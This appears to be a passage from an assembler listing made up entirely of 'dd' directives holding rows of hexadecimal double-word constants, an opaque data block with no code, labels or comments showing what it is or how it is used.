		dd 3B91B2DCh, 40BFE116h, 83F70F08h, 1891EA60h, 0D8F81464h
		dd 52067E39h, 59C76B00h, 8EBB3DCh, 19D33B30h, 0FCF14A09h
		dd 0C2D4AC05h, 0A0E1752Fh, 5BB1D73Ch, 4DC831DBh, 91618980h
		dd 65C02030h, 0E7589Dh,	0AF59EBE1h, 8EA13AD8h, 5675150Bh
		dd 0B8C88866h, 0D46EAC9Ch, 0A5105F4Fh, 40706D80h, 712CC4D8h
		dd 0FC40585Ch, 7847B97Bh, 98DC707Fh, 504003D4h,	0DA8783ABh
		dd 0A2B974C0h, 61747E6h, 814C86Dh, 0F7F00668h, 5279EEBFh
		dd 0A6008415h, 57483ECEh, 590068B4h, 1846990Bh,	255B71C5h
		dd 2412357Dh, 0F5778F83h, 0DD1060FFh, 0C54793Dh, 744CFF80h
		dd 1ABCB040h, 1FD81CEAh, 77F20E2Fh, 737D7C20h, 2949C9DCh
		dd 0D8201EA0h, 38BA9C85h, 0EBC7448h, 3013DD28h,	5B3E09B4h
		dd 49957400h, 8A041FABh, 4D202552h, 0EFA8AC8Fh,	3D489194h
		dd 1AE2808Fh, 0EB7F573Eh, 39E6757Ch, 0BA00507Eh, 0A9AAA4E7h
		dd 0C7004755h, 88E8FBEh, 1F776649h, 0C3B972B3h,	64225EFEh
		dd 0BCF0ABC0h, 7971147Eh, 90448603h, 0C073490Ah, 1C74877Fh
		dd 833C519Ah, 0B212BCFBh, 0F0B167E1h, 74B0A78Ah, 25B42E02h
		dd 64C7F7D3h, 0A2043A64h, 641CB2AEh, 40802274h,	482A616Bh
		dd 0E00B4BBh, 20EA0825h, 1700851Fh, 0D4A1E98Dh,	0ED0A41Eh
		dd 4C47062Ch, 0F9DDBCA0h, 75002BAEh, 1E811DA1h,	1E8FCA46h
		dd 41A4D10Eh, 7DFF9678h, 83583831h, 0A02471B2h,	98AC9175h
		dd 0BBF72E11h, 43CB621Ch, 470EA45Ah, 605DC90Ch,	6CD24CD5h
		dd 299113A1h, 0B5F48001h, 9E007418h, 8AA39D51h,	985B7508h
		dd 80F84848h, 77A4C1E7h, 8C404E5h, 4E3DB8A4h, 68204F7Dh
		dd 5498C62Bh, 0AE0411AFh, 0DA8DE851h, 9601A0B0h, 3D1860ECh
		dd 85266D4Fh, 0C4A8F0DAh, 0C266573Ch, 0FD374300h, 2510C1C5h
		dd 8247DC07h, 0D6805EF5h, 2E21941h, 0D83787D5h,	0CD179CEh
		dd 69EB5D8Ch, 0F96031Eh, 0B9116645h, 58553890h,	0A77A6400h
		dd 0F1FB834Ah, 71CA049Dh, 8C3A7D5Ah, 0F87C7AACh, 0D8F78701h
		dd 0F9BD22F0h, 5C04898Bh, 31D18410h, 0C2440D00h, 666D7273h
		dd 3E0E0571h, 0C1A74BC6h, 6024C17Ch, 40563A0h, 81F57A37h
		dd 4CB475C4h, 0B103F43Dh, 0FF11F4h, 556033D1h, 58F76A9Ah
		dd 939D4C75h, 0C6CCD7B3h, 79F83982h, 28805052h,	4CA8B875h
		dd 53C4435h, 1401F811h,	0D963E0B8h, 0C04029D4h,	16BC2352h
		dd 62063632h, 0E0D57520h, 3C0EC8CEh, 9028033Bh,	0F4045D08h
		dd 0DCD38181h, 86782C1Bh, 0E889FDA3h, 4C43F265h, 0C7029CA5h
		dd 45E01F76h, 0A49800C2h, 4D2E6AB0h, 7B8898F1h,	4377823Bh
		dd 0A070FD58h, 0F43F8428h, 80791CA1h, 7BD5FC61h, 0C10C42AFh
		dd 7CFFFD58h, 63905084h, 0BAEA4CCBh, 987E49Eh, 7E42A333h
		dd 6C9CA7C4h, 0F0FAB760h, 58455CE3h, 192C94C0h,	0EE077F80h
		dd 0A4E626ACh, 0D4E7B4C0h, 25651E9Ah, 7700D92h,	4E384C31h
		dd 1BDB7500h, 98863189h, 0D24600D3h, 0BA381471h, 73F2C6Ah
		dd 1C50CB7Bh, 0FE22E8h,	6348D404h, 7173D6AEh, 79D5A607h
		dd 82F0D8D0h, 70FE0EFFh, 10D6F9h, 8EB80BB8h, 0E809FD3Dh
		dd 64A74CDCh, 0F550008h, 505BACCDh, 40079ADh, 9FAE40A6h
		dd 0F04C7DDBh, 0E70B05DCh, 90C75319h, 55AE9CF0h, 0FBD2B71Fh
		dd 2491542Ch, 7A848D02h, 0D48AE1A9h, 88AA69FCh,	0ED77D0A0h
		dd 49FC1C9Ah, 4C695389h, 0B4810538h, 3677156Eh,	0B66D012h
		dd 82A9A03Bh, 0C6D83070h, 639C7B71h, 1900E85Dh,	0F6B089A6h
		dd 4CAAC4B5h, 84001F04h, 4B2FC35Bh, 0B83855CDh,	0A938E083h
		dd 48BA9A7Dh, 0E4DD783Ah, 0D1C542C8h, 5420F442h, 0B116D92Ah
		dd 2F819200h, 30133548h, 7DC1024Ch, 34473D19h, 59106463h
		dd 0F5804615h, 31430D8Dh, 6409FD42h, 1C230215h,	3FF05CAFh
		dd 0BB03930Ch, 535246E0h, 9C87A5BCh, 1F427B00h,	0FC1303CDh
		dd 1E70F73Bh, 4491A918h, 182CCB1h, 6446C91Ah, 22CFD001h
		dd 23C58B4h, 0D6B3F9B7h
		dd 0CD4FC047h, 72B10B19h, 24C1DE59h, 94FA10F0h,	4E780088h
		dd 86237287h, 0D4009A81h, 839E684Ah, 7DDA8Ch, 32FED65Dh
		dd 817B79BDh, 0EA42D101h, 53664DFDh, 50840845h,	11D81414h
		dd 0C609FA71h, 78125326h, 0D8D9C15Fh, 668C4h, 313A3EBBh
		dd 9E759B9Dh, 380FABE8h, 0A0513DFh, 0BB0A08A6h,	0FF091416h
		dd 5338E87Ah, 0B559C0F0h, 1380BD33h, 6F60CE1Fh,	98B8D901h
		dd 0D439B3ACh, 41A1C067h, 14D51744h, 0FFAB0801h, 2C42577Fh
		dd 0A82D20ECh, 600CFC2h, 0F278B3D9h, 1504658h, 494E0AA6h
		dd 96024494h, 98007D60h, 84715D53h, 0E8D448A4h,	84FF1515h
		dd 45755100h, 59774430h, 0EEC20C00h, 7DB7C028h,	0A29D0C1Ah
		dd 0AA81339Eh, 5502D700h, 6A2979D6h, 0B91726D4h, 1F092F4h
		dd 0F7CDA4E3h, 5AC48B0h, 109EA324h, 4A581340h, 0D6640192h
		dd 1DB32911h, 12403DF1h, 0D4097C7Bh, 0DC2048FDh, 0A97867F7h
		dd 638651F4h, 0E918405Dh, 2B0B0CFAh, 1153E3BEh,	0C019D3C0h
		dd 0B491F583h, 8C10F1D9h, 0A6F49CE7h, 641F8700h, 297B01E4h
		dd 0BDC9203h, 46997DACh, 3440DC64h, 0F249C8F9h,	0B2031BACh
		dd 0A8AE12C8h, 0CD0951h, 0C64ED2EFh, 47545A4Fh,	1EB3D612h
		dd 4482C10h, 7FF03EB9h,	0DD833CC0h, 7EF71118h, 469118F3h
		dd 9587129h, 15DF1490h,	76C2A00h, 0C603BC6Dh, 45D9E988h
		dd 98901C2h, 756B71C5h,	7B683443h, 1547BD0Ah, 608088F7h
		dd 9D671A0Bh, 0F0C91F01h, 0CC186FA6h, 0BCB6796Ch, 6CD2BC96h
		dd 4208943h, 604E3BACh,	0D35B63C0h, 0F92ED467h,	822E471h
		dd 6C48E4B0h, 8684C00Ch, 0E7136D5h, 0A22AE51Ah,	0B2E8C713h
		dd 0FC79234Bh, 0DBCC3A80h, 9C1926A0h, 1366404Ch, 0E407119Fh
		dd 255DB267h, 0A82ED300h, 329301FCh, 0DB5E5706h, 550F99Dh
		dd 9054FC82h, 0EB2ED4h,	0CFA32A34h, 0BA745073h,	0CCB67900h
		dd 983D3127h, 0B5F700C5h, 0A21ECD34h, 673290Ah,	4EABB300h
		dd 0B874036Eh, 20DCE71Fh, 79F4EBBCh, 1CA3045Eh,	0F29C01B6h
		dd 0B486079Ch, 2009F0Bh, 0E47094h, 676AEBF2h, 47FF9DB5h
		dd 0D5099CECh, 0E4B2DB19h, 72D1241Ch, 48700AD6h, 1D1D4EE0h
		dd 280E3E95h, 0D11BADDDh, 0DC246DB0h, 41CF0A6h,	30C0E983h
		dd 0FF9C69BFh, 0F859C772h, 0F71C43A4h, 0A0789DD2h, 8D139C01h
		dd 2473FD1Eh, 0BC703BD9h, 60EB05D8h, 7B3DD2h, 7040D42Ch
		dd 0EE33B3AFh, 0B27A66DBh, 481CD0D0h, 21DF107Dh, 0D4D87716h
		dd 7F02883Eh, 6AD3DC00h, 0A76FAFF6h, 0B2FA0225h, 8033168Dh
		dd 40867042h, 0DC133132h, 3808CFACh, 8C9D92FDh,	77883A6Ch
		dd 45C100AEh, 0DCCAEBD2h, 100C903Bh, 0D8AB0FFDh, 0C019D7D1h
		dd 0F752B6C8h, 87FE51CFh, 87E09BA1h, 0A6AAAh, 8A6936CDh
		dd 0F7DB0FF0h, 74439492h, 7792C788h, 37648800h,	279C29Ch
		dd 741B2B51h, 0E0D0FD1Ah, 0A2880882h, 28902F14h, 0E7026512h
		dd 0C77907BFh, 0A0A49347h, 118CF0Bh, 413A7BE6h,	0F4BCCE21h
		dd 87B15DBh, 9004D0AAh,	4125FEAh, 14E32840h, 1DB176CEh
		dd 405F1793h, 0D1BE3EE0h, 3A146057h, 81A07EFFh,	18D5A615h
		dd 9C50202Eh, 1FE29427h, 87055E3Ah, 0DA1276DEh,	6F0BC980h
		dd 0EB830CD9h, 0FC31753Dh, 0DA81CF00h, 7677A4ACh, 0B96E3F2Ch
		dd 0B78024BFh, 58207337h, 14953D14h, 4710BEBCh,	2023B09Dh
		dd 0FA001DC2h, 0CC60127Ah, 84A7B8h, 2A770AEDh, 94152B85h
		dd 80C86C3Ch, 7579CFF3h, 3DD135Ch, 66470FE5h, 7EA05F5Dh
		dd 724876B1h, 773A0170h, 71F70256h, 0AC40B432h,	3B5A017Dh
		dd 916A7CFFh, 0C0042CDAh, 0F1A0AF47h, 3FBB0018h, 8F6ACFF7h
		dd 0ACFC9F75h, 10BFF3Eh, 82D00A0Fh, 45F035D7h, 466007Dh
		dd 0D9E7B678h, 0D425A66Bh, 11482091h, 2E1DEDh, 27329BC9h
		dd 2DFD9D8Ch, 86A41A02h, 4951F601h, 0A5FD05D0h,	0CF6338F2h
		dd 0DCC64804h, 3340F914h, 7D03040Ah, 37EB8900h,	0A4D7295Ah
		dd 258E7B48h, 0F4AE75F7h, 0A41AB9C9h, 70A6E494h, 26D77012h
		dd 0EC052116h, 0A0F2066Dh, 0C4679984h, 0FA7C82E0h, 0D6323820h
		dd 0BC0904CAh, 0B919CF0Ah, 0B11A2288h, 50CD80C8h, 2EBD37C2h
		dd 7604A0BEh, 9E065E0Ah, 86003131h, 8040D38Eh, 0D4689416h
		dd 993C9088h, 0BB2DA580h, 65C2D538h, 9475B200h,	5C8C4A46h
		dd 1C064C3Bh, 5EF8C511h, 3AD31860h, 50F94E2Eh, 7E119460h
		dd 2C205FEAh, 151C450h,	0DF5A1EEBh, 0C13D03ABh,	4196CC2Bh
		dd 7D640B13h, 1710FC00h, 5379E6h, 3FC321DCh, 7B666DD5h
		dd 357D08A0h, 0BA8014A0h, 5854115Ch, 104BCBE0h,	0E1AE1D80h
		dd 5680DC28h, 0A50447E5h, 0FE7A5CE6h, 5D4DAFA0h, 30B42807h
		dd 0F30F817Ch, 0B04FE888h, 72BE0919h, 400F5A41h, 0B7490091h
		dd 0A5993A05h, 2D4D02E5h, 0C0223645h, 0C7F76340h, 0AC80B4BCh
		dd 342B19D3h, 2AA63A25h, 49ED5D18h, 0E6075C1Eh,	6E621577h
		dd 6CD3E720h, 0A7FB3EF2h, 1F85EC83h, 6488501Ch,	0C9C00515h
		dd 0D43BE78Ah, 7F71E6B2h, 5D690E76h, 820B7EEh, 219EA21Bh
		dd 4C80334Bh, 38BFA7F7h, 20DEB3DAh, 0FB7A69ACh,	0D8407312h
		dd 0C877B8E1h, 0ACA4AF00h, 0DD5DB4FAh, 0B0569900h, 5CC0028Fh
		dd 0AEB833F4h, 21C59C29h, 0E8C84A98h, 7600A570h, 2FE8B29Eh
		dd 579D6A6h, 667BB8Ch, 6E60F453h, 0DAE1B502h, 43B3A2EBh
		dd 0FC19263Ah, 5C43906Ch, 1E88786Ch, 1FD8E7A4h,	78531AEh
		dd 83F52E50h, 5AB87589h, 0D504AABCh, 0D0591901h, 0A2FC6C9Dh
		dd 8751891h, 0AE63DD1Dh, 6402DD66h, 5EEC2CEDh, 0A487253Ch
		dd 250C1A79h, 12003844h, 0CE99C64Fh, 0E63F9FA2h, 0A12300CCh
		dd 0FF484CD1h, 0AB14DAF0h, 260587Eh, 0ADD83071h, 40A474E6h
		dd 0DC2E0DC3h, 0FE954C3Ch, 10D53304h, 44BC8B1Ah, 41A9F93Bh
		dd 33B01D0h, 3DBFF7CCh,	0A3F86090h, 9DB2199h, 0D556ACD8h
		dd 5CFE5084h, 0B62ACB00h, 8F746Bh, 37567CD8h, 71943FBCh
		dd 0B8AA693Ch, 74204BA1h, 2595E3h, 3A0D1B77h, 0B1DC56B6h
		dd 8198E904h, 0D8EC5A5Dh, 47E32680h, 21059F63h,	69CDC722h
		dd 1C5C4C0h, 0F9D10445h, 801DAB89h, 202814D4h, 909AA327h
		dd 0A296BCh, 484F2CB8h,	5909EE95h, 6EFB811Ch, 0E3DAE580h
		dd 0C7AE92h, 45A78A10h,	5F7D0D06h, 8001FF39h, 345D79D8h
		dd 2677D2FBh, 96F06D75h, 868430CDh, 330676D9h, 3A127F10h
		dd 0FE78755Ah, 4A3702Dh, 28E2A216h, 724CABBh, 9080D3A4h
		dd 7BE483B3h, 3AA104B1h, 8C1289F3h, 6D3F7C04h, 480A8007h
		dd 238E671Bh, 796B1E2Fh, 9A05C9F6h, 0C29D0104h,	0DA203220h
		dd 0E4BF14h, 6E11AB40h,	6367B64h, 10E1B100h, 751FB32Fh
		dd 447496BFh, 0D828023Fh, 6C59C8h, 0C503361Ch, 5379470h
		dd 1882C1E9h, 9D846447h, 0FF044801h, 902C2879h,	1330FD4h
		dd 7A031FE5h, 0C80EF0D7h, 389427Dh, 662C6BECh, 0ADB06952h
		dd 5A003D60h, 7C03BBFFh, 0A929E9h, 13BAAB67h, 0C4F1EEE6h
		dd 12C7D7Ah, 0A840A815h, 0F3A3D503h, 782DE1EFh,	64FE4E4h
		dd 7A3CB829h, 610929F5h, 81CB328h, 149078E0h, 9CAA4020h
		dd 0F1019479h, 0B98BF7FFh, 1F96E4h, 3F971647h, 2607E590h
		dd 0D11CBBF2h, 9ED31E10h, 0E6FB2830h, 13DD1FF9h, 0B67500DCh
		dd 77FFE405h, 0E68FC4BCh, 0DB29C145h, 74313BC0h, 829F5E9h
		dd 89166B83h, 0DC6C5C99h, 84004DABh, 7F519818h,	26814D3h
		dd 70F771C5h, 9CF23B9Eh, 80307E48h, 6E2E42D6h, 8B7900C7h
		dd 239D1473h, 0C437D5A4h
		dd 0BB28387Ah, 49C8B126h, 87816498h, 1A218000h,	0C0A20BAEh
		dd 3A202EE4h, 0C96B18BEh, 29199E63h, 0E2502684h, 149FB908h
		dd 28F490h, 8E7B01B6h, 841EC1E5h, 0B06279F8h, 4675FF21h
		dd 43A9F1Ch, 0E273E404h, 0D6041694h, 8AACCF0Eh,	0AB03E071h
		dd 0E2241B89h, 7CC7923h, 0F0E07058h, 0C702D261h, 49661800h
		dd 2E9E73A0h, 9C05842h,	3112B819h, 2503C05h, 0BA9B7DB2h
		dd 0CBB1903h, 803CBEE9h, 83347451h, 0A105A675h,	0DBFF6FBCh
		dd 3D25348Fh, 0D4059864h, 527BE584h, 22653082h,	0A0F17CF7h
		dd 6C352A00h, 0E0EBA429h, 0D9D83F49h, 0F96B1100h, 2C74A967h
		dd 6C8C2100h, 7BDE73B7h, 7FFF18A4h, 0FA53A93Dh,	0D74789C0h
		dd 376D271Bh, 0D260F6F9h, 1C7ACF91h, 0D43A7442h, 0B4D2ADB0h
		dd 0DC0FA9DAh, 0E584411Bh, 0E49C1073h, 943A2CBBh, 0F10C127Eh
		dd 3073B0h, 43496755h, 5215DA90h, 7211F4D6h, 0FA884034h
		dd 17190084h, 7DDBAA41h, 2D0BADBCh, 80AFCD8Fh, 2BBBB4CCh
		dd 5DFD3C08h, 60085328h, 0D620B1A1h, 9D127473h,	18CDF65Dh
		dd 4E84A1E0h, 0BCC539Eh, 88E4A4C8h, 64213512h, 407C288Dh
		dd 0E49E3412h, 86484210h, 4E3C7D5Fh, 597F81C9h,	586919F9h
		dd 8833B830h, 5002711h,	44B3848Ah, 169D646Dh, 0A34673FFh
		dd 76A61F30h, 0E872253Ah, 0B7977E8h, 0DCC7F43Dh, 17FA7899h
		dd 5748A40h, 7BE6017Eh,	8BC273Eh, 7C042EFBh, 0BC10F14Dh
		dd 8D330CC3h, 0F9B0BB81h, 0E2686910h, 0EDD841C8h, 3F387D09h
		dd 0EC4C80FAh, 2F9CFF7Ch, 3624042Ch, 0EED6094h,	188F7Dh
		dd 0AA6C0CA7h, 727903D2h, 51CB970h, 0ED476AF8h,	71CF0801h
		dd 78FFAB8Ch, 1138282Eh, 0D04E3100h, 34913238h,	0C58C3F1Fh
		dd 7DFF6385h, 0F518083Eh, 8760D680h, 4400627h, 3B337963h
		dd 2078899Eh, 53018A95h, 43065581h, 8E708B9Ch, 0D689043Ch
		dd 0E29E3587h, 11FB2168h, 0F0A7003Fh, 5B9082F3h, 0A2DD0172h
		dd 207DE47Fh, 527C3003h, 9DDCFD40h, 70144890h, 9A0165F6h
		dd 0D5733A78h, 58103191h, 700775CDh, 0F70AFA8Eh, 0A3805A75h
		dd 17CAD87h, 0CC3CB391h, 7C753D21h, 9004929Ch, 68C7A1ADh
		dd 7CD5D614h, 8139BC08h, 8C3E44DCh, 79AC41EDh, 423D1146h
		dd 78D58017h, 0B8C48C61h, 0F742C354h, 7C84EC83h, 0D68C4049h
		dd 0E0753622h, 0FAE200EAh, 5DC4B31Bh, 5000CA77h, 0D2B21125h
		dd 38C38C9Fh, 0E851DC19h, 4C014805h, 15200637h,	94167095h
		dd 20646427h, 0B4027600h, 20C9BD32h, 0FA28C81Bh, 3AC06084h
		dd 0F5C6C4C1h, 2C004467h, 0E519B76Dh, 0A7044B11h, 3B20565Dh
		dd 40C81A0Ah, 52A0AFF7h, 9FA4A09Fh, 66F67Bh, 4305E56Ch
		dd 19BF60CEh, 0F0531B00h, 0D60E2251h, 199D737Dh, 50D96DC5h
		dd 43A44862h, 124949Fh,	0B5479CE6h, 0CCD3BD89h,	7CB072C5h
		dd 0B121A442h, 69C96160h, 0C53318C8h, 39C63059h, 8BF5BC88h
		dd 484482E2h, 0ACDB182Ch, 846DD70Fh, 90BD7A71h,	0D5DB3FC0h
		dd 1E001B70h, 0AEBFC074h, 0BFD5E88h, 2C28362Fh,	6451BC8Dh
		dd 0C3050EBCh, 6AFDDDEDh, 81FB8C4h, 3D22FA41h, 443A0976h
		dd 2255720Ch, 61FB20F2h, 0EBF2180Eh, 5F010375h,	87844694h
		dd 80EB19CAh, 3AA2B10h,	0BBAB669Bh, 71F04863h, 4F02CB9Eh
		dd 1F72FC0Fh, 235D4101h, 66ADE0CFh, 4488A27Ch, 0BB1E3A5Ch
		dd 0DB2B978Bh, 14CECC11h, 2000E4FCh, 15066139h,	2A015547h
		dd 8C758456h, 1ECA95Ah,	58E0B0B3h, 538AB8C5h, 8F1D40C8h
		dd 0C9001927h, 1C3A66C7h, 6152B112h, 7D042181h,	0B0233E4Ah
		dd 0F422847Eh, 35DD7820h, 22310048h, 438D94C8h,	0D5E5826Dh
		dd 802878BDh, 562D1726h, 48C200C9h, 8857CAE6h, 72E4A198h
		dd 839A8902h, 6491F7DDh, 0E55D005Ch, 0A7101AC4h, 5FB80852h
		dd 0E07E470Bh, 0B0E4D1h, 1363AC64h, 6F9961D3h, 3DBA838h
		dd 9DD0B774h, 0F4B10BDCh, 0D43A3873h, 50ECF063h, 13A22F0h
		dd 8E3B9DDCh, 2AD14ED3h, 76601C22h, 1B674038h, 6B1EDE03h
		dd 7000E9ABh, 6F74428Ch, 0C24C5B0Fh, 8000B90Ch,	9FFD7AB2h
		dd 437670A2h, 0C7E008DCh, 0C01F3Bh, 0B65D7949h,	0A5B56925h
		dd 0C7C2CF8h, 6747E80Eh, 0DD2002BAh, 0C00C7404h, 0C521A6ADh
		dd 657CDE0Bh, 0C7B4821Bh, 0C17D05F0h, 570845DCh, 2B67384h
		dd 9F427980h, 0DCECF450h, 3088147Ah, 55BB0082h,	266384F1h
		dd 0E5CC340h, 76F822C0h, 0D5B11278h, 0AE580255h, 5C42668Bh
		dd 0F1A700D5h, 0AAF245h, 0D8F8FBB4h, 42AF2A10h,	0BF22C226h
		dd 4C265C1Dh, 3CF57104h, 0C87CCADh, 7055A049h, 67D01BFh
		dd 785098BDh, 4914395Ch, 4216F000h, 0B29F972Bh,	286A0D2Eh
		dd 0A84A7908h, 2FD2E754h, 40380051h, 755802A7h,	0C380A096h
		dd 8E482CEh, 0C6ECF600h, 0E0958AC2h, 9B170159h,	79F09E85h
		dd 53B848E7h, 90000CB9h, 780E3EDDh, 137031h, 0D46858Dh
		dd 1F2461C5h, 54FFF426h, 0AFDBF841h, 427D3C4h, 64D1FDA3h
		dd 1847C0A7h, 0D263F1D8h, 95C7F719h, 708AD8ECh,	3EBB0020h
		dd 0B7A2D7B9h, 382ED527h, 9417BB54h, 0F869A5CCh, 0F7EC607Dh
		dd 0E4F2782Eh, 0F0617F66h, 7B790AD6h, 14B88C43h, 0D73D8C01h
		dd 49FB3DC0h, 21A837A4h, 53991E75h, 79D832B0h, 0B241D131h
		dd 0E983B7BCh, 0F142CAD4h, 3B3774D0h, 66D22C2Dh, 0A30516E8h
		dd 449C0119h, 3B9F7779h, 4A85827h, 0C852B868h, 9B00D060h
		dd 0CD1FDE36h, 49860C9h, 9ED3B9D8h, 97ECE8B1h, 0DA813005h
		dd 0F4E4CCh, 1D257FE0h,	0E4BA0A56h, 710F6102h, 62948F89h
		dd 52C6644h, 0B72811E3h, 0DCECE39Ch, 52814B01h,	287869CBh
		dd 74706100h, 91427B9Dh, 9020F4BEh, 0B28BF6F6h,	0BEF8E4B9h
		dd 0C4E94080h, 0F01316EEh, 7C8858E3h, 0BD6F008Dh, 37A92AECh
		dd 3D1D527Eh, 0CAD7D25Eh, 67003313h, 0FC1424B2h, 44070E60h
		dd 74CDD381h, 47244140h, 3C7363h, 0DACC02C7h, 15DBDC54h
		dd 4CE176F7h, 0F911F321h, 47DA7F00h, 68F076EFh,	0E71CB900h
		dd 12BE9B8Dh, 6F09043Ch, 83D55F4Ah, 7027641Ch, 4BEC107Bh
		dd 0DA8514A6h, 3F029307h, 6F84F7EBh, 2D7867C1h,	66C62DB0h
		dd 45913190h, 0C0A51C41h, 657C3F53h, 74F770C5h,	0D187CB4h
		dd 26C710A9h, 0B3D4F3C8h, 28450674h, 20A09D22h,	6052DC6Bh
		dd 94802944h, 0F39E90A1h, 16099681h, 68E0D199h,	0D6B60084h
		dd 445E017h, 9F266A6Fh,	30A8A0F2h, 71DAA102h, 40D1F6A9h
		dd 0E4BB1820h, 6449003Ch, 0BF0668EDh, 95C3072h,	0ECD42CF3h
		dd 95B32505h, 17428F2h,	0CEA38F6Fh, 360D81F9h, 80FF3B80h
		dd 0AA018AF7h, 3B95AEFAh, 7B8B44FEh, 2C0409F3h,	4EDC4F45h
		dd 8B5A073h, 5379D5h, 0E801EDEEh, 0D392357Dh, 0D1B1D80Fh
		dd 85D0A63h, 14200424h,	0F883F726h, 47771842h, 0F6C1164h
		dd 5E2C45C8h, 6089F3CFh, 0F1E2AF72h, 1471F8DAh,	88DC8BA1h
		dd 0F669835Ah, 3FDB1800h, 6BF95378h, 34B1265Dh,	4A1B093Ch
		dd 8946008h, 0AC00FE0Dh, 0A5D21643h, 3D7D07D0h,	0C02BFB5Dh
		dd 38B8B144h, 0F731F00Ch, 0F8AB400Eh, 644A801Ah, 72C107EDh
		dd 1880FE52h, 9E7B3711h, 90611346h, 0D9D0E6A8h,	0D2737900h
		dd 18A04080h, 300A698Bh, 393E9E35h, 73A813CDh, 0E890B0F1h
		dd 0F61B1066h, 24E75284h, 742871C4h, 81E18024h,	20091544h
		dd 3D081AFAh, 0F82AE9E6h, 77751968h, 0DA2FA77Ch, 0C0701A7Dh
		dd 0B81CC70h, 0E04542B8h, 0D80388Fh, 0AAA94333h, 17784C48h
		dd 0AC00E8F8h, 0AC3DB12Bh
		dd 41386096h, 0E00BEEC7h, 0E489D0C0h, 0F7E290h,	0CCA48887h
		dd 0F2AAF7Bh, 62FC20CEh, 9EB30CEFh, 93B92320h, 44BBAD3Ah
		dd 8D820578h, 0C0AD46E5h, 79C40958h, 5FD81002h,	569FF82Ch
		dd 5DC053B0h, 1F12B0AFh, 40880460h, 0F654121Bh,	315824B7h
		dd 84145D04h, 0F58C10A1h, 3A530481h, 946CC240h,	0E902Ah
		dd 0F6B95DFFh, 78116F05h, 4E29FA64h, 0E521C740h, 0EC0179FDh
		dd 9CB6465Dh, 5BE98C08h, 1E63DFF8h, 22B307h, 939D3006h
		dd 504BEC45h, 400E75ECh, 0F9E3113Eh, 47E06976h,	163BF3AAh
		dd 146F9F87h, 3D33C700h, 7A9D9FA1h, 4A8200EAh, 5AB26BD3h
		dd 3A1C741Ah, 9E40448Ch, 73C4729Bh, 387481h, 0C856BCDFh
		dd 0AE064E29h, 477CE41Eh, 410CF100h, 3A7B2F4Ch,	4A2CB012h
		dd 9CAC80CCh, 10EC438Ch, 3BF8D103h, 0D0DA67CDh,	878539h
		dd 210BAC13h, 0A7AAFD6Fh, 8B6D9F00h, 729E49FAh,	7261EEE6h
		dd 7C86009Dh, 0E228CB17h, 87006C1Ah, 93B865B5h,	3216A6h
		dd 0EDCE01D3h, 63BDD4DFh, 424C5Ch, 2E49AE6Ah, 1C341D1Eh
		dd 0C0E7D974h, 6B0B602Bh, 73A7A9Bh, 7FA08002h, 0DF0822BAh
		dd 36373A16h, 386CF000h, 0E36DCBA5h, 112DB5FEh,	17940034h
		dd 3F2CB4F1h, 7687BC49h, 60D86C86h, 0E972B35h, 42D77300h
		dd 3B61553h, 75223F6Dh,	192F9Eh, 14ED176h, 8731C920h, 0C39A4E99h
		dd 0C43FD050h, 34BF2629h, 0EB48060Fh, 0E701181Ah, 37D30F07h
		dd 93DBF3E3h, 7620BF5Eh, 1031116h, 0D68A5DC5h, 0E4E5C464h
		dd 0C00A8F9h, 0F6F01FBFh, 1E1A8FBCh, 655575C5h,	59F53C80h
		dd 0A80089D6h, 64C00F11h, 5E410Eh, 0B3B5CB1Fh, 0E7E873F6h
		dd 8458332Ch, 995D4400h, 1C983C92h, 40E939D1h, 30A0F905h
		dd 0F1006BD9h, 6D31979Fh, 81651Fh, 0DFD17C3Ch, 87AA9BC5h
		dd 39EC6600h, 0F047FB22h, 0F9F22E5Fh, 5B80623h,	9A28380Dh
		dd 5E30EC75h, 0DA6E1011h, 47C70062h, 0ED74D622h, 801E1629h
		dd 9A800782h, 2BD36986h, 928C2D88h, 0C417D880h,	19006235h
		dd 5A69DA90h, 0BB78EAh,	2E50DBF3h, 0FF3BA208h, 1F99F90Eh
		dd 39536667h, 0DB0D24B4h, 405B9E78h, 5784F2BAh,	0C90074B1h
		dd 7D25F0FCh, 76D9E96h,	3DF8C311h, 80AE97F6h, 4FC949DBh
		dd 0D977E002h, 688E2974h, 5F6508h, 0B5A28AFCh, 0A59427C1h
		dd 362AED07h, 91F009CDh, 8F2B7Fh, 0E68A3444h, 0E30A79A3h
		dd 0EF56DD00h, 0B52E604Bh, 5EE006Bh, 0CAB009BBh, 0BD00D538h
		dd 3DBF58ABh, 0F9A02A2h, 0C857A799h, 1EE02823h,	0D521C3E0h
		dd 0A96BFD28h, 3AB13226h, 3385CC00h, 80466Ah, 0D12A3C8Ch
		dd 0C5363893h, 6F6D6B00h, 0B260576Eh, 9C1F00A3h, 8577BC1Dh
		dd 8B0719BAh, 18AB989Bh, 156887E0h, 90CE25B0h, 67511805h
		dd 3933F1BCh, 77A850F7h, 173D9505h, 61D59308h, 82550340h
		dd 5F6EECh, 0A2FF0FD3h,	6091632h, 9C729900h, 0EFF6B125h
		dd 86BA058Eh, 11090h, 2EEB4EBCh, 0FF0399D6h, 0C8D808B6h
		dd 48682C96h, 0F26F00B0h, 4E376D29h, 0B9ABD900h, 0C42769A4h
		dd 0F70C30CFh, 0BDB34768h, 22193500h, 0C1C8FC61h, 0AF0D0273h
		dd 29BE1E96h, 0E50BE0A2h, 0CCBD7041h, 0FA007A06h, 29C0D458h
		dd 1C128317h, 0C27ED367h, 69FFCA21h, 0D13A848h,	42E662F0h
		dd 0CD1C5500h, 0FB30ADBBh, 92F246Eh, 0C83B04E8h, 9FC4C02Dh
		dd 0DB1F7B06h, 2F804F56h, 0D744FCCCh, 9D8C0037h, 0D9C3880h
		dd 0E20057C6h, 0FEC75D39h, 87635h, 0FDC98E9Eh, 0E38651D5h
		dd 0F00069F0h, 0C6A39F96h, 1FC7667Dh, 1CAE4D88h, 4347DF11h
		dd 0A08CF259h, 5CC81BE2h, 19EA05EAh, 98A81400h,	94D7BDDAh
		dd 7BED3955h, 0F586E680h, 0AE3EFE21h, 1BA29A01h, 15E4BF2Ch
		dd 8364C88Fh, 71C072C0h, 6D00A984h, 4EDF8FCAh, 3391EAh
		dd 1DC15327h, 0BAABC03Ch, 0DBBC2A12h, 0AA00C0A8h, 0EA739429h
		dd 0BE005541h, 9BF8FE15h, 0E7051Dh, 0A01E0378h,	99A6CBB9h
		dd 0DE910100h, 903DF941h, 0BAF840FBh, 986BF52Ch, 31CD1980h
		dd 0D94DE9h, 0E656FE40h, 0ED39C541h, 61265D7Eh,	690065F5h
		dd 54DC72FDh, 2E7A0484h, 82779666h, 94DC2CC4h, 0BE527950h
